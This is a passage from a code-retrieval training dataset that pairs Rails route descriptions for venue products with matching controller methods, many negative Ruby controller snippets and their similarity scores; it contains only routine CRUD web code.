"0.6177551",
"0.6177338",
"0.61763746",
"0.6175268",
"0.6173959",
"0.6171197",
"0.6161915",
"0.6160581",
"0.6156595",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6151143",
"0.6149968",
"0.6146916"
] |
0.6689047
|
10
|
PUT /venue_products/1 PUT /venue_products/1.json
|
def update
@venue_product = VenueProduct.find(params[:id])
respond_to do |format|
if @venue_product.update_attributes(params[:venue_product])
format.html { redirect_to @venue_product, notice: 'Venue product was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @venue_product.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n begin\n @api_v1_product.update!(api_v1_product_params)\n head :no_content\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n end\n end",
"def create\n @venue_product = VenueProduct.new(params[:venue_product])\n @venue = Venue.find_by_fs_venue_id(@venue_product.fs_venue_id)\n @venue.product_count=(@venue.product_count).to_i + 1\n #@venue.update_attribute(:product_count,(@venue.product_count).to_i + 1)\n\n respond_to do |format|\n if @venue_product.save && @venue.save\n \n format.html { redirect_to @venue_product, notice: 'Venue product was successfully created.' }\n format.json { render json: @venue_product, status: :created, location: @venue_product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @venue_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @product.update(product_params)\n render json: @product, status: :ok#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n # replace venue_type_ids coming from ember with VenueType.find(id)\n # so Rails handles the many to many relationship correctly\n if params[:venue][:venue_type_ids]\n @venue.venue_types = params[:venue][:venue_type_ids].map { |id| VenueType.find(id) }\n else\n @venue.venue_types = []\n end\n\n if params[:venue][:venue_service_ids]\n @venue.venue_services = params[:venue][:venue_service_ids].map { |id| VenueService.find(id) }\n else\n @venue.venue_services = []\n end\n\n # replace event_type_ids coming from ember with EventType.find(id)\n # so Rails handles the many to many relationship correctly\n if params[:venue][:event_type_ids]\n @venue.event_types = params[:venue][:event_type_ids].map { |id| EventType.find(id) }\n else\n @venue.event_types = []\n end\n\n @venue.save\n if @venue.update(venue_params)\n head :no_content\n else\n render json: @venue.errors, status: :unprocessable_entity\n end\n end",
"def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end",
"def set_api_v1_product\n begin\n @api_v1_product = Product.find(params[:id])\n rescue => ex\n json_response({error: ex.message}, :not_found)\n end\n end",
"def update\n updateProduct = Product.find_by_id(params[:id])\n updateProduct.update(products_params)\n if updateProduct != nil\n msg = { status: 200 , product: updateProduct }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n else\n msg = { status: 422 }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end\n end",
"def update\n @product.update(product_params)\n set_products\n end",
"def update\n if @product.update(product_params)\n render json: @product\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @venue_product = VenueProduct.find(params[:id])\n @venue_product.destroy\n \n @venue = Venue.find_by_fs_venue_id(@venue_product.fs_venue_id)\n @venue.update_attribute(:product_count,(@venue.product_count).to_i - 1)\n\n respond_to do |format|\n format.html { redirect_to venue_products_url }\n format.json { head :ok }\n end\n end",
"def update\n return unless product_params\n render json: @product.simple_info, status: :ok if @product.update!(@product_params)\n rescue => e\n render json: { error: e }, status: :ok\n end",
"def update\n if @product.update(product_params)\n render :show, status: :ok, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def update\n @product = Product.find(params[:id])\n\n if @product.update(product_params)\n head :no_content\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @product.update(vendor_product_params)\n format.html { redirect_to vendor_products_url, notice: 'Vendor product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_products_details; end",
"def update_product_info\n update_info = params[:product]\n market = Market.find(params[:place_id])\n product = market.products.find(update_info[:id])\n if product.update(update_info)\n response = {status: \"OK\", code: 200}\n else\n response = { status: \"Not Ok\", code: 201}\n end\n respond_to do |format|\n format.json{render json: response.to_json }\n end\n end",
"def update\n product_params = params.require(:product).\n permit(:id, :value)\n\n if product = Product.find_by(external_id: product_params[:id])\n product.value = product_params[:value]\n product.save\n render json: {}, status: :ok\n else\n\n render json: {\n errors: {\n message: \"product not found\",\n product_id: product_params[:id]\n }\n }, status: :unprocessable_entity\n end\n end",
"def update\n @product = TempProduct.find(params[:id])\n @product.qty = params[:qty]\n # save product\n if @product.save\n # success\n render :json => { :success => true }\n else\n # failed\n render :json => { :success => false }\n end\n end",
"def update\n @product.assign_attributes object_params.reject{|_, v| v.blank?}\n # In a normal app we have a pre filled form of the object to update,\n # so when we do a PATCH (or PUT) we send all the attributes again,\n # in the API we permit to send any field to update, so we need to remove\n # all the blank params of the object to prevent validations triggers of\n # attributes that we don't send to update\n if @product.save\n render json: @product.to_json\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def update\n @food_product.update(food_product_params)\n end",
"def show\n @venue_product = VenueProduct.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue_product }\n end\n end",
"def update\n respond_to do |format|\n if @venue.update(venue_params)\n\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { render :show, status: :ok, location: @venue }\n else\n format.html { render :edit }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @product_buy_click = ProductBuyClick.find(params[:id])\n\n if @product_buy_click.update(product_buy_click_params)\n head :no_content\n else\n render json: @product_buy_click.errors, status: :unprocessable_entity\n end\n end",
"def update\n render json: @sub_product.errors unless @sub_product.update(sub_product_params)\n end",
"def update\n render json: @sub_product.errors unless @sub_product.update(sub_product_params)\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to @venue, :notice => 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @venue.update(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { render :show, status: :ok, location: @venue }\n else\n format.html { render :edit }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @venue.update(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { render :show, status: :ok, location: @venue }\n else\n format.html { render :edit }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @venue.update(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { render :show, status: :ok, location: @venue }\n else\n format.html { render :edit }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @venue.update(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { render :show, status: :ok, location: @venue }\n else\n format.html { render :edit }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product = @collection.products.build(product_params)\n\n if @product.save\n render json: @product, status: :created#, location: @collection\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to [:manage, @venue], :notice => 'Venue was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @product = Product.eager_loading.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to shop_products_path(@product.shop.uuid), notice: 'Product was successfully updated.' }\n format.json { render json: @product.to_json(:include => {:product_variants => {:include => [:option_types,:pictures]}})}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_product(rid, add_params = nil)\n params = {\n uid: uid,\n rid: rid,\n }\n api_call('/stores/:uid/products/:rid(.:format)',:put,params,add_params)\n end",
"def update\n respond_to do |format|\n if @venue.update_attributes(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n store_location()\n \n @product_variant = ProductVariant.new(product_variant_params)\n \n respond_to do |format|\n if @product_variant.save\n if params[:product_id].present?\n @product_variant.update_columns(product_id: params[:product_id])\n puts \"updated #{@product_variant.product_id}\"\n end\n format.html { redirect_back_or(@product_variant, notice: 'Product variant was successfully created.') }\n format.json { render action: 'show', status: :created, location: @product_variant }\n else\n format.html { render action: 'new' }\n format.json { render json: @product_variant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @venue_product = VenueProduct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue_product }\n end\n end",
"def update\n respond_to do |format|\n if @sales_upsale_product.update(sales_upsale_product_params)\n format.html { redirect_to @sales_upsale_product, notice: 'Sales upsale product was successfully updated.' }\n \n format.json { render :show, status: :ok, location: @sales_upsale_product }\n else\n format.html { render :edit }\n format.json { render json: @sales_upsale_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_many\n if @product_buy_clicks.update_all(product_buy_click_params)\n render json: @product_buy_clicks, status: :ok, location: product_buy_clicks_url\n else\n render json: @product_buy_clicks.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @venue.update(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n if @onecompany_product.update_attributes(params[:onecompany_product])\n format.html { redirect_to @onecompany_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onecompany_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n product = Product.find_by id: (params[:id])\n product.name = (params[:name])\n product.description = (params[:description])\n product.active = (params[:active])\n product.user_id = (params[:user_id])\n product.url_img = (params[:url_img])\n if product.save\n render json: '[{\"message\":\"The product was Updated\"}]', status: :ok\n else\n render json: product.errors, status: :unprocessable_entity\n end\n rescue ActiveRecord::InvalidForeignKey\n render json: '[{\"error\":\"No valid foreign keys asignation\"}]', status: 422\n end",
"def create\n @product = current_vendor.vendor_products.new(vendor_product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to vendor_products_url, notice: 'product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vendor_product\n @product = current_vendor.vendor_products.find_by_id(params[:id])\n end",
"def update\n #update venues trought users controller\n\n @user = User.find_by(authentication_token: request.headers['Authorization'])\n\n if @user.is_venue?\n @user.venue.update(venue_params)\n if @user.venue.update(venue_params)\n render json: {status: :ok}\n else\n render json: {msg: 'Invalid params'}\n end\n else\n render json: {msg: 'You dont own a venue'}, status: :error\n end\n \n\n end",
"def update\n if @my_product.update(my_product_params)\n render :show, status: :ok\n else\n render json: @my_product.errors, status: :unprocessable_entity\n end\n end",
"def update\n #Find product by productID\n @product = Product.find_by(productID: params[:id])\n \n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to products_path, notice: 'Product has been updated.' }\n format.json { render :index, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @record = Product.find(params[:id])\n @record.update_attributes(params[:product])\n \n respond_to do |format|\n format.json {\n render json: {}\n }\n end\n end",
"def update\n respond_to do |format|\n if @os_product.update(os_product_params)\n format.html { redirect_to @os_product, notice: 'Os product was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_product }\n else\n format.html { render :edit }\n format.json { render json: @os_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vendor_product\n @vendor_product = VendorProduct.find(params[:id])\n end",
"def update\n \t\t@product = Product.update( product_params )\n \t\tredirect_to '/products/'\n\tend",
"def update\n respond_to do |format|\n if @own_product.update(own_product_params)\n format.html { redirect_to @own_product, notice: 'Own product was successfully updated.' }\n format.json { render :show, status: :ok, location: @own_product }\n else\n format.html { render :edit }\n format.json { render json: @own_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def it_update_from_product_store\n product = params[:product]\n store = params[:store]\n tbl = params[:tbl]\n initial_stock = 0\n current_stock = 0\n # company = nil\n # product_company_price = nil\n average_price = 0\n if product != '0' && store != '0'\n stock = Stock.find_by_product_and_store(product, store)\n # Stocks\n initial_stock = stock.initial rescue 0\n current_stock = stock.current rescue 0\n # WAP\n average_price = product_average_price(product, store)\n end\n # Format numbers\n initial_stock = number_with_precision(initial_stock.round(4), precision: 4)\n current_stock = number_with_precision(current_stock.round(4), precision: 4)\n average_price = number_with_precision(average_price.round(4), precision: 4)\n # Setup JSON hash\n @json_data = { \"initial\" => initial_stock.to_s, \"stock\" => current_stock.to_s,\n \"tbl\" => tbl.to_s, \"average_price\" => average_price.to_s }\n render json: @json_data\n end",
"def update\n respond_to do |format|\n if @product.update!(product_params)\n format.html { redirect_to products_url, notice: 'Product was successfully updated.' }\n format.json { render json: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @so_product.update(so_product_params)\n format.html { redirect_to @so_product, notice: 'So product was successfully updated.' }\n format.json { render :show, status: :ok, location: @so_product }\n else\n format.html { render :edit }\n format.json { render json: @so_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product,\n notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n\n @products = Product.all\n ActionCable.server.broadcast 'products',\n html: render_to_string('store/index', layout: false)\n else\n format.html { render :edit }\n format.json { render json: @product.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def update\n @paper_venue = PaperVenue.find(params[:id])\n\n respond_to do |format|\n if @paper_venue.update_attributes(params[:paper_venue])\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @angular = Product.find(params[:id])\n \n @angular.update_attributes(title: params[:products][:title], description: params[:products][:description])\n respond_to do |format|\n if @angular.valid?\n format.html { redirect_to store_index_path, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @angular.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_product\n @product = current_api_v1_user.products.find(params[:id])\n end",
"def update\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:model])\n flash[:notice] = 'Product was successfully updated.'\n format.json { render :json=>nil }\n else\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @produto.update(produto_params)\n respond_with @produto\n end",
"def create\n ActiveRecord::Base.transaction do\n begin\n @api_v1_product = Product.create!(api_v1_product_params)\n\n json_response @api_v1_product, :created\n rescue => ex\n json_response({error: ex.message}, :unprocessable_entity)\n raise ActiveRecord::Rollback\n end\n end\n end",
"def create\n @product = Product.new(product_params)\n @product.user = current_api_v1_user\n respond_to do |format|\n if @product.save\n params[:product][:properties].try(:each) do |k,v|\n @product.product_properties.create(property: Property.find(k), value: v)\n end\n params[:product][:colors].try(:each) do |c|\n @product.colors.create(name: c[:name].downcase, code: c[:code])\n end\n params[:product][:photos].try(:each) do |c|\n @product.photos.create(image: c)\n end\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created}\n else\n format.html { render :new }\n format.json { render json: @product.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def update_venue \r\n @venue = Venue.find(params[:venue][:id]) \r\n if @venue.update_attributes(params[:venue]) \r\n redirect_to :action => 'index'\r\n else\r\n render :action => 'edit_venue', :id => params[:venue][:id]\r\n end\r\n end",
"def api_v1_product_params\n params.permit(:name, :sku, :type, :price)\n end",
"def create\n @product = Product.new(params[:product])\n #@product = Product.create(vendor_id: @vendor.id)\n #@vendor = Vendor.all\n #@product = @vendor.products.create(product_date :Time.now, vendor_id: @vendor.id)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_sku.update(product_sku_params)\n format.html { redirect_to @product_sku, notice: 'Product sku was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_sku }\n else\n format.html { render :edit }\n format.json { render json: @product_sku.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @sale.update(sale_params)\n SalesServices::Relations.new(@sale, params).call(create: false)\n # Sale.update_products(@sale, params[:products])\n\n render json: {\n success: true,\n msg: 'Sale successfully updated',\n product: SaleSerializer.new(@sale)\n }\n else\n render json: {\n success: false,\n msg: 'Something went wrong',\n errors: @sale.errors\n }\n end\n end",
"def update\n @manage_venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @manage_venue.update_attributes(params[:manage_venue])\n format.html { redirect_to @manage_venue, notice: 'Venue was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manage_venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@product = Product.new(params[:product])\n\t\trespond_to do |format|\n\t\t if @product.save\n\t\t\tif @product.photos != [] and @product.photos != nil and @product.photos != \"\"\n\t\t\t\tphoto = Photo.find_by_product_id(@product.id)\n\t\t\t\t@product.update_attributes(:photo_id => photo.id)\n\t\t\tend\n\t\t\tformat.html { redirect_to @product, :notice => 'Успешно обновлён' }\n\t\t\tformat.json { render :json => @product, :status => :created, :location => @product }\n\t\t else\n\t\t\tformat.html { render :action => \"new\" }\n\t\t\tformat.json { render :json => @product.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n end",
"def update\n @shopifyproduct = Shopifyproduct.find(params[:id])\n\n respond_to do |format|\n if @shopifyproduct.update_attributes(params[:shopifyproduct])\n format.html { redirect_to @shopifyproduct, notice: 'Shopifyproduct was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shopifyproduct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n get_product\n @product_detail = @product.details.find(params[:id])\n @product_detail.update_attributes(params[:product_detail])\n end",
"def editProd()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n p = Product.find(params[:id])\n status = p.update(name: params[:name], price: params[:price].to_f, category_id: params[:cat_id])\n error = \"\"\n if(p.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end",
"def create\n if @product.save\n render :show, status: :created, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Продукт успешно обновлен.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_product\n #クライアントから入力された商品IDの情報をすでに登録されているDBから取ってくる \n #/product/1\n @product = Product.find(params[:id])\n \n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to(@venue, :notice => 'Venue was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n format.html { redirect_to(@venue, :notice => 'Venue was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n self.class.update_product_by_id(self.id, self)\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('update_success') }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_variant.update(product_variant_params)\n format.html { redirect_back_or(@product_variant, notice: 'Product variant was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product_variant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @product = Product.new\n @shop = current_user.shops.find_by_uuid(params[:shop_id])\n @product.product_variants.build\n\n respond_to do |format|\n format.html\n format.json { render json: @product}\n end\n end",
"def update\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @venue.status = \"complete\" if @venue.is_incomplete?\n if @venue.update(venue_params)\n format.html { redirect_to @venue, notice: 'Venue was successfully updated.' }\n format.json { render :show, status: :ok, location: @venue }\n else\n format.html { render :edit }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_item_value_twenty_four\n response_search = Partay.get('http://shoponline.tescolotus.com/api/v1/search/products?query=Sugar&page=1&sortBy=Relevance', :headers => {'Content-Type' => 'application/json', 'language' => 'en-gb', 'region' => 'TH', 'userId' => access_token})\n puts search_result=JSON(response_search['productItems'][0])\n puts productid =JSON(search_result)[\"product\"][\"id\"]\n items_json_responses = {'items' => [{'id'=>'6071448594','oldValue'=>0.0,'oldUnitChoice'=>'pcs','newUnitChoice'=>'pcs','newValue'=>24.0}]}.to_json\n puts items_json_responses\n response = Partay.put('http://shoponline.tescolotus.com/api/v1/trolley/items/', :headers => {'Content-Type' => 'application/json', 'language' => 'en-GB', 'region' => 'TH', 'userId' => access_token}, :body => items_json_responses)\n puts response\n end",
"def update\n respond_to do |format|\n if @sales_product.update(sales_product_params)\n format.html { redirect_to @sales_product, notice: 'Sales product was successfully updated.' }\n format.json { render :show, status: :ok, location: @sales_product }\n else\n format.html { render :edit }\n format.json { render json: @sales_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html do\n redirect_to @product, notice: 'Product was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit , status: :unprocessable_entity }\n format.json do\n render json: @product.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Your product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @product = Product.find(params[:id])\n\t\trespond_to do |format|\n\t\t if @product.update_attributes(params[:product])\n\t\t\tif @product.photo.nil?\n\t\t\t\tphoto = Photo.find_by_product_id(@product.id)\n\t\t\t\t@product.update_attributes(:photo_id => photo.id) if !photo.nil?\n\t\t\tend\n\t\t\tformat.html { redirect_to @product, :notice => 'Успешно обновлено' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @product.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n end",
"def create\n @product = @productable.products.find(params[:product_id])\n ids = params[:products]\n reals = @productable.products.map(&:id) # Make a lambda with this\n present_prod = ids.select { |n| reals.include?(n) } # And this\n if @product.update(product_relations: present_prod)\n render json: @product, status: 200\n else\n render json: @product.errors, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_product\n self.product.mrp = self.mrp\n self.product.rate = self.rate\n self.product.vat = self.vat\n self.product.pack = self.pack\n self.product.save\n end",
"def update\n @supplier = Supplier.find(params[:supplier_id])\n @product = @supplier.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @supplier, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to products_url, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7166039",
"0.70487285",
"0.6803697",
"0.6775359",
"0.6721408",
"0.66535074",
"0.65982443",
"0.65561634",
"0.6468863",
"0.64300823",
"0.6405758",
"0.6347122",
"0.6334088",
"0.63302326",
"0.62840956",
"0.6268829",
"0.6233896",
"0.6210458",
"0.6177357",
"0.6169723",
"0.6154735",
"0.6149617",
"0.6144891",
"0.6144891",
"0.61391854",
"0.61355805",
"0.61355805",
"0.61333174",
"0.61313444",
"0.61313444",
"0.61313444",
"0.613076",
"0.6115135",
"0.6098231",
"0.6096492",
"0.60928214",
"0.6088918",
"0.6085784",
"0.60769236",
"0.6076879",
"0.6075216",
"0.60736895",
"0.6065218",
"0.6050431",
"0.60455644",
"0.6043321",
"0.60412747",
"0.603664",
"0.6033453",
"0.60272485",
"0.60214025",
"0.600079",
"0.5974585",
"0.59680355",
"0.59643984",
"0.5960835",
"0.5949152",
"0.5944134",
"0.5943267",
"0.5941518",
"0.59144026",
"0.5913242",
"0.5910205",
"0.5899537",
"0.58992153",
"0.5896428",
"0.5895866",
"0.5891543",
"0.5887804",
"0.58877605",
"0.58839357",
"0.5882004",
"0.58792025",
"0.58766633",
"0.5873654",
"0.5873061",
"0.58715",
"0.58697456",
"0.5868799",
"0.586567",
"0.586567",
"0.5856734",
"0.58551085",
"0.5851669",
"0.58490014",
"0.5846912",
"0.58467317",
"0.58463997",
"0.5842991",
"0.583846",
"0.5831891",
"0.58311313",
"0.5831046",
"0.5830157",
"0.5830001",
"0.582739",
"0.58223623",
"0.58211786",
"0.5820844",
"0.5817336"
] |
0.7164332
|
1
|
DELETE /venue_products/1 DELETE /venue_products/1.json
|
def destroy
@venue_product = VenueProduct.find(params[:id])
@venue_product.destroy
@venue = Venue.find_by_fs_venue_id(@venue_product.fs_venue_id)
@venue.update_attribute(:product_count,(@venue.product_count).to_i - 1)
respond_to do |format|
format.html { redirect_to venue_products_url }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @product.destroy\n\n render json: @product, status: :ok#, location: @collection\n end",
